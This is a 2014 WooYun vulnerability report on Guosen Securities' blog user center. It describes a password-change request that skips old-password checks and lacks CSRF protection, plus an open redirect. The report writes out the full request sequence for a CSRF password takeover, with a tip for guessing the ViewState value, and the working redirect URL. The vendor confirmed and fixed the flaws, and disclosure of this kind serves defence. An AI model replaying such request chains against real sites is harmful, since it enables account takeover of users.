当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-063493

漏洞标题:国信证券一处逻辑漏洞

相关厂商:国信证券

漏洞作者: terrying

提交时间:2014-06-04 15:09

修复时间:2014-07-23 20:16

公开时间:2014-07-23 20:16

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-06-04: 细节已通知厂商并且等待厂商处理中
2014-06-06: 厂商已经确认,细节仅向厂商公开
2014-06-16: 细节向核心白帽子及相关领域专家公开
2014-06-26: 细节向普通白帽子公开
2014-07-06: 细节向实习白帽子公开
2014-07-23: 细节向公众公开

简要描述:

乌云币都拿去买衣服了,账号都没乌云币会不会被嘲笑呢?

详细说明:

N久没玩了,一玩就冒着撞洞的风险→ WooYun: 国信证券任意用户密码修改漏洞
但既然厂商都说修复了,那就放心多了,问题还是有的~~
问题出在修改密码的请求,并没有验证原密码【验证原密码在另外请求中验证】,另外发现这个请求还存在CSRF。
YY一下:如果再来个XSS~~~~
验证过程时发现这个还是很恶心的,如修改密码请求:

http://blog.guosen.com.cn/usercenter/infoCenter/pwdChange.jsf?AJAXREQUEST=j_id_jsp_547915581_0&formId=formId&formId%3Auname=testxsstest1%40126.com&formId%3AoldPwd=12341234&formId%3AnewPwd=qwerqwer&formId%3AconfirmPwd=qwerqwer&javax.faces.ViewState=j_id2&formId%3Asave_btn=formId%3Asave_btn&


javax.faces.ViewState=j_id2
如果这个参数不对的话则返回404~~~

404.jpg


如果只有在用户访问了修改密码的页面才可利用的CSRF也太鸡肋了,于是乎发现要一步一步按着正常请求一个一个发出则可正常执行修改密码请求
所以这个CSRF发起的请求有点多~~

进入个人中心
http://blog.guosen.com.cn/usercenter
http://blog.guosen.com.cn/usercenter/infoCenter/customiseSetting.jsf
http://blog.guosen.com.cn/usercenter/infoCenter/customiseSetting.jsf?AJAXREQUEST=j_id_jsp_1760869216_0&form_id=form_id&form_id%3Aj_id_jsp_1760869216_5=&form_id%3AavatarHid=http%3A%2F%2Fblog.guosen.com.cn%2Fcgui%2Fimages%2Fdefault.jpg&form_id%3AdefaultAvatarHid=http%3A%2F%2Fblog.guosen.com.cn%2Fcgui%2Fimages%2Fdefault.jpg&form_id%3Afour=0&form_id%3Ay=0&form_id%3Aj_id_jsp_1760869216_10=&javax.faces.ViewState=j_id1&form_id%3Aj_id_jsp_1760869216_2=form_id%3Aj_id_jsp_1760869216_2&
http://blog.guosen.com.cn/usercenter/infoCenter/customiseSetting.jsf?AJAXREQUEST=j_id_jsp_1760869216_0&form_id=form_id&form_id%3Aj_id_jsp_1760869216_5=&form_id%3AavatarHid=http%3A%2F%2Fblog.guosen.com.cn%2Fcgui%2Fimages%2Fdefault.jpg&form_id%3AdefaultAvatarHid=http%3A%2F%2Fblog.guosen.com.cn%2Fcgui%2Fimages%2Fdefault.jpg&form_id%3Afour=0&form_id%3Ay=0&form_id%3Aj_id_jsp_1760869216_10=&javax.faces.ViewState=j_id1&form_id%3Aj_id_jsp_1760869216_3=form_id%3Aj_id_jsp_1760869216_3&
http://blog.guosen.com.cn/usercenter/infoCenter/customiseSetting.jsf?AJAXREQUEST=j_id_jsp_1760869216_0&form_id=form_id&form_id%3Aj_id_jsp_1760869216_5=&form_id%3AavatarHid=http%3A%2F%2Fblog.guosen.com.cn%2Fcgui%2Fimages%2Fdefault.jpg&form_id%3AdefaultAvatarHid=http%3A%2F%2Fblog.guosen.com.cn%2Fcgui%2Fimages%2Fdefault.jpg&form_id%3Afour=0&form_id%3Ay=0&form_id%3Aj_id_jsp_1760869216_10=&javax.faces.ViewState=j_id1&form_id%3Aj_id_jsp_1760869216_4=form_id%3Aj_id_jsp_1760869216_4&
修改
http://blog.guosen.com.cn/usercenter/infoCenter/customiseSetting.jsf?AJAXREQUEST=j_id_jsp_1760869216_0&form_id=form_id&form_id%3Aj_id_jsp_1760869216_5=&form_id%3AavatarHid=http%3A%2F%2Fblog.guosen.com.cn%2Fcgui%2Fimages%2Fdefault.jpg&form_id%3AdefaultAvatarHid=http%3A%2F%2Fblog.guosen.com.cn%2Fcgui%2Fimages%2Fdefault.jpg&form_id%3Afour=0&form_id%3Ay=0&form_id%3Aj_id_jsp_1760869216_10=&javax.faces.ViewState=j_id1&form_id%3Aj_id_jsp_1760869216_38=form_id%3Aj_id_jsp_1760869216_38&
http://blog.guosen.com.cn/usercenter/infoCenter/pwdChange.jsf
修改密码
http://blog.guosen.com.cn/usercenter/infoCenter/pwdChange.jsf?AJAXREQUEST=j_id_jsp_547915581_0&formId=formId&formId%3Auname=testxsstest%40126.com&formId%3AoldPwd=12341234&formId%3AnewPwd=qwerqwer&formId%3AconfirmPwd=qwerqwer&javax.faces.ViewState=j_id3&formId%3Asave_btn=formId%3Asave_btn&


问题主要是修改密码请求的oldPwd=12341234没有验证,直接将newPwd=qwerqwer写进数据库,呵呵~~~
前面的请求也有一个类似【javax.faces.ViewState=j_id2】作用的参数,因此多尝试几次就可以成功,而且经过多次测试发现数字变化不超过3
So Easy~
另外,再送一个URL跳转:
https://blog.guosen.com.cn/sso/login?service=http%3A%2F%2Fwww.baidu.com

漏洞证明:

进入个人中心CSRF

1.jpg


进入修改密码页面CSRF

2.jpg


修改密码CSRF

3.jpg

修复方案:

你懂的

版权声明:转载请注明来源 terrying@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2014-06-06 17:59

厂商回复:

已经修复问题,再次感谢terrying对国信证券的关注和支持。

最新状态:

暂无